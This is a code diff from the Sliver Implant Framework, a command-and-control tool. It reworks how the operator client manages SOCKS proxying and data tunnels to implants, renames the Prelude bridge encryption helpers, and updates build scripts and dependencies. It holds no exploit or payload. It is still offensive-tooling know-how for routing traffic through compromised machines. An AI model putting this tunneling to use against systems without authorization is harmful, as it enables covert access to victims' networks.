@@ -60,14 +59,28 @@ type TcpProxy struct {
Password string
BindAddr string
Listener net.Listener
stopChan bool
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
func (tcp *TcpProxy) Stop() error {
err := tcp.Listener.Close()
// Closing all connections in pool
SocksConnPool.Range(func(key, value interface{}) bool {
con := value.(net.Conn)
con.Close()
return err == nil
})
return err
}
// SocksProxy - Tracks portfwd<->tcpproxy
type SocksProxy struct {
ID int
ID uint64
ChannelProxy *TcpProxy
}
@@ -83,7 +96,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
}
type socksProxy struct {
tcpProxies map[int]*SocksProxy
tcpProxies map[uint64]*SocksProxy
mutex *sync.RWMutex
}
@@ -91,6 +104,7 @@ type socksProxy struct {
func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
f.mutex.Lock()
defer f.mutex.Unlock()
Sockser := &SocksProxy{
ID: nextSocksProxyID(),
ChannelProxy: tcpProxy,
@@ -101,49 +115,56 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
}
func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
ctx, cancel := context.WithCancel(context.Background())
proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
defer cancel()
if err != nil {
return err
}
go func() {
for !tcpProxy.stopChan {
for {
FromImplantSequence := 0
p, err := proxy.Recv()
socksData, err := proxy.Recv()
if err != nil {
log.Printf("Failed to Recv from proxy, %s\n", err)
return
}
if v, ok := SocksConnPool.Load(p.TunnelID); ok {
n := v.(net.Conn)
if p.CloseConn {
n.Close()
SocksConnPool.Delete(p.TunnelID)
if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
conn := v.(net.Conn)
if socksData.CloseConn {
conn.Close()
SocksConnPool.Delete(socksData.TunnelID)
continue
}
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
//fmt.Printf("recv data len %d \n", len(p.Data))
_, err := n.Write(p.Data)
_, err := conn.Write(socksData.Data)
if err != nil {
log.Printf("Failed to write data to proxy connection, %s\n", err)
continue
}
FromImplantSequence++
}
}
}()
for !tcpProxy.stopChan {
l, err := tcpProxy.Listener.Accept()
for {
connection, err := tcpProxy.Listener.Accept()
if err != nil {
return err
log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
break
}
rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
SessionID: tcpProxy.Session.ID,
})
if err != nil {
fmt.Println(err)
return err
log.Printf("Failed rcp call to create socks %s\n", err)
break
}
go connect(l, proxy, &sliverpb.SocksData{
go connect(connection, proxy, &sliverpb.SocksData{
Username: tcpProxy.Username,
Password: tcpProxy.Password,
TunnelID: rpcSocks.TunnelID,
@@ -151,17 +172,18 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
})
}
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
tcpProxy.Listener.Close()
tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
proxy.CloseSend()
return nil
}
// Remove - Remove a TCP proxy instance
func (f *socksProxy) Remove(socksId int) bool {
func (f *socksProxy) Remove(socksId uint64) bool {
f.mutex.Lock()
defer f.mutex.Unlock()
if _, ok := f.tcpProxies[socksId]; ok {
f.tcpProxies[socksId].ChannelProxy.stopChan = true
f.tcpProxies[socksId].ChannelProxy.Stop()
delete(f.tcpProxies, socksId)
return true
}
@@ -179,9 +201,8 @@ func (f *socksProxy) List() []*SocksProxyMeta {
return socksProxy
}
func nextSocksProxyID() int {
SocksProxyID++
return SocksProxyID
func nextSocksProxyID() uint64 {
return atomic.AddUint64(&SocksProxyID, 1)
}
const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -192,6 +213,19 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
SocksConnPool.Store(frame.TunnelID, conn)
defer func() {
// It's neccessary to close and remove connection once we done with it
c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
if !ok {
return
}
conn := c.(net.Conn)
conn.Close()
log.Printf("[socks] connection closed")
}()
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
buff := leakyBuf.Get()
@@ -199,11 +233,12 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
var ToImplantSequence uint64 = 0
for {
n, err := conn.Read(buff)
if err != nil {
if err == io.EOF {
return
}
continue
log.Printf("[socks] (User to Client) failed to read data, %s ", err)
// Error basically means that the connection is closed(EOF) OR deadline exceeded
// In any of that cases, it's better to just giveup
return
}
if n > 0 {
frame.Data = buff[:n]
@@ -211,6 +246,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
err := stream.Send(frame)
if err != nil {
log.Printf("[socks] (User to Client) failed to send data, %s ", err)
return
}
ToImplantSequence++
+44 -112
View File
@@ -1,130 +1,54 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"io"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Tunnels - Holds refs to all tunnels
Tunnels tunnels
)
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
stream rpcpb.SliverRPC_TunnelDataClient
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.RLock()
defer t.mutex.RUnlock()
return (*t.tunnels)[tunnelID]
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
}
(*t.tunnels)[tunnelID] = tunnel
go func() {
tunnel.IsOpen = true
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
t.stream.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
}
}()
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
log.Printf("Closing tunnel %d", tunnelID)
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
delete((*t.tunnels), tunnelID)
tunnel.IsOpen = false
close(tunnel.Recv)
close(tunnel.Send)
}
}
// Tunnel - Duplex data tunnel
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
Send chan []byte
Recv chan []byte
}
// Write - Writer method for interface
func (tun *Tunnel) Write(data []byte) (int, error) {
log.Printf("Write %d bytes", len(data))
if !tun.IsOpen {
return 0, io.EOF
}
tun.Send <- data
n := len(data)
return n, nil
}
// Read - Reader method for interface
func (tun *Tunnel) Read(data []byte) (int, error) {
var buff bytes.Buffer
if !tun.IsOpen {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
recvData := <-tun.Recv
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// TunnelLoop - Parses incoming tunnel messages and distributes them
// to session/tunnel objects
// Expected to be called only once during initialization
func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Println("Starting tunnel data loop ...")
defer log.Printf("Warning: TunnelLoop exited")
stream, err := rpc.TunnelData(context.Background())
ctx, cancel := context.WithCancel(context.Background())
stream, err := rpc.TunnelData(ctx)
defer cancel()
if err != nil {
return err
}
Tunnels = tunnels{
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
stream: stream,
}
for {
// log.Printf("Waiting for TunnelData ...")
GetTunnels().SetStream(stream)
for {
log.Printf("Waiting for TunnelData ...")
incoming, err := stream.Recv()
// log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream err: %s", err)
if err == io.EOF {
log.Printf("EOF Error: Tunnel data stream closed")
return nil
@@ -133,16 +57,24 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Printf("Tunnel data read error: %s", err)
return err
}
// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := Tunnels.Get(incoming.TunnelID)
log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := GetTunnels().Get(incoming.TunnelID)
if tunnel != nil {
data := incoming.GetData()
log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
if !incoming.Closed {
log.Printf("Received data on tunnel %d", tunnel.ID)
tunnel.Recv <- incoming.GetData()
err = tunnel.RecvData(data)
if err != nil {
log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
}
} else {
log.Printf("Closing tunnel %d", tunnel.ID)
tunnel.IsOpen = false
close(tunnel.Recv)
GetTunnels().Close(tunnel.ID)
}
} else {
log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)
+146
View File
@@ -0,0 +1,146 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"io"
"log"
"sync"
)
// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
type TunnelIO struct {
ID uint64
SessionID string
Send chan []byte
Recv chan []byte
isOpen bool
mutex *sync.RWMutex
}
// NewTunnelIO - Single entry point for creating instance of new TunnelIO
func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
log.Printf("New tunnel!: %d", tunnelID)
return &TunnelIO{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
isOpen: false,
mutex: &sync.RWMutex{},
}
}
// Write - Writer method for interface
func (tun *TunnelIO) Write(data []byte) (int, error) {
if !tun.IsOpen() {
log.Printf("Warning: Write on closed tunnel %d", tun.ID)
return 0, io.EOF
}
// This is necessary to avoid any race conditions on thay byte array
dataCopy := make([]byte, len(data))
n := copy(dataCopy, data)
log.Printf("Write %d bytes", n)
log.Printf("This bytes is: %s", dataCopy)
tun.Send <- dataCopy
return n, nil
}
// Read - Reader method for interface
func (tun *TunnelIO) Read(data []byte) (int, error) {
recvData, ok := <-tun.Recv
if !ok {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
var buff bytes.Buffer
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// Close - Close tunnel IO operations
func (tun *TunnelIO) Close() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
log.Printf("Warning: Close on closed tunnel %d", tun.ID)
// I guess we can ignore it and don't return any error
return nil
}
log.Printf("Close tunnel %d", tun.ID)
tun.isOpen = false
close(tun.Recv)
close(tun.Send)
return nil
}
func (tun *TunnelIO) IsOpen() bool {
tun.mutex.RLock()
defer tun.mutex.RUnlock()
return tun.isOpen
}
func (tun *TunnelIO) Open() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if tun.isOpen {
return errors.New("tunnel relady in open state")
}
log.Printf("Open tunnel %d", tun.ID)
tun.isOpen = true
return nil
}
// RecvData - safe way to send data to internal Recv channel. Blocking.
func (tun *TunnelIO) RecvData(data []byte) error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
return errors.New("closed tunnel")
}
tun.Recv <- data
return nil
}
+162
View File
@@ -0,0 +1,162 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// tunnelsStorage - Holds refs to all tunnels
tunnelsStorage *tunnels
tunnelsSingletonLock = &sync.Mutex{}
)
// GetTunnels - singleton function that returns or initializes all tunnels
func GetTunnels() *tunnels {
tunnelsSingletonLock.Lock()
defer tunnelsSingletonLock.Unlock()
if tunnelsStorage == nil {
log.Println("Creating single instance of tunnels.")
tunnelsStorage = &tunnels{
tunnels: &map[uint64]*TunnelIO{},
mutex: &sync.RWMutex{},
streamMutex: &sync.Mutex{},
}
}
return tunnelsStorage
}
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*TunnelIO
mutex *sync.RWMutex
streamMutex *sync.Mutex
stream rpcpb.SliverRPC_TunnelDataClient
}
func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
log.Printf("Set stream")
t.stream = stream
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Get tunnel %d", tunnelID)
return (*t.tunnels)[tunnelID]
}
// send - safe way to send a message to the stream
// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
if t.stream == nil {
return errors.New("uninitizlied stream")
}
log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
return t.stream.Send(tunnelData)
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := NewTunnelIO(tunnelID, sessionID)
(*t.tunnels)[tunnelID] = tunnel
go func(tunnel *TunnelIO) {
tunnel.Open()
log.Printf("Tunnel now is open, %d", tunnelID)
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
err := t.send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
if err != nil {
log.Printf("Error sending, %s", err)
}
}
log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
}(tunnel)
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
t.mutex.Lock()
defer t.mutex.Unlock()
log.Printf("Closing tunnel %d", tunnelID)
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
tunnel.Close()
delete((*t.tunnels), tunnelID)
}
}
// CloseForSession - closing all tunnels for specified session id
func (t *tunnels) CloseForSession(sessionID string) {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Closing all tunnels for session %s", sessionID)
for tunnelID, tunnel := range *t.tunnels {
if tunnel.SessionID == sessionID {
// Weird way to avoid deadlocks but let it be
go func(tunnelID uint64) {
GetTunnels().Close(tunnelID)
}(tunnelID)
}
}
}
+3 -3
View File
@@ -74,7 +74,7 @@ func (a *OperatorImplantBridge) register() {
if err != nil {
return
}
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
@@ -84,7 +84,7 @@ func (a *OperatorImplantBridge) ReceiveLoop() {
go func() {
for {
data := <-a.send
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
@@ -105,7 +105,7 @@ func (a *OperatorImplantBridge) handleMessage(message string) {
if err != nil {
return
}
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
+1 -1
View File
@@ -232,7 +232,7 @@ GEM
jekyll-seo-tag (~> 2.1)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.13.3)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.22.0)
+22 -6
View File
@@ -20,7 +20,7 @@ set -e
# Creates the static go asset archives
GO_VER="1.18"
GO_VER="1.18.3"
GARBLE_VER="1.18.0"
GO_ARCH_1="amd64"
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz
# --- Linux ---
curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-amd64.tar.gz
# --- Linux (amd64) ---
curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
@@ -118,6 +118,22 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz
# --- Linux (arm64) ---
curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
cd ..
zip -r linux-go.zip ./go
mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
# --- Windows ---
curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
unzip go$GO_VER.windows-amd64.zip
@@ -140,8 +156,8 @@ echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
+17 -20
View File
@@ -10,63 +10,51 @@ require (
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/fatih/color v1.12.0
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v3.3.0+incompatible
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
)
require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
@@ -79,10 +67,13 @@ require (
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
@@ -96,11 +87,15 @@ require (
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.5.1 // indirect
@@ -108,8 +103,10 @@ require (
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
+2 -19
View File
@@ -614,8 +614,6 @@ github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/Qd
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/mattn/go-sqlite3 v1.14.12 h1:TJ1bhYJPV44phC+IMu1u2K/i5RriLTPe+yc68XDJ1Z0=
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
@@ -1340,8 +1338,9 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0 h1:hjy8E9ON/egN1tAYqKb61G10WtihqetD4sz2H+8nIeA=
gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.0.3 h1:+JKBYPfn1tygR1/of/Fh2T8iwuVwzt+PEJmKaXzMQXg=
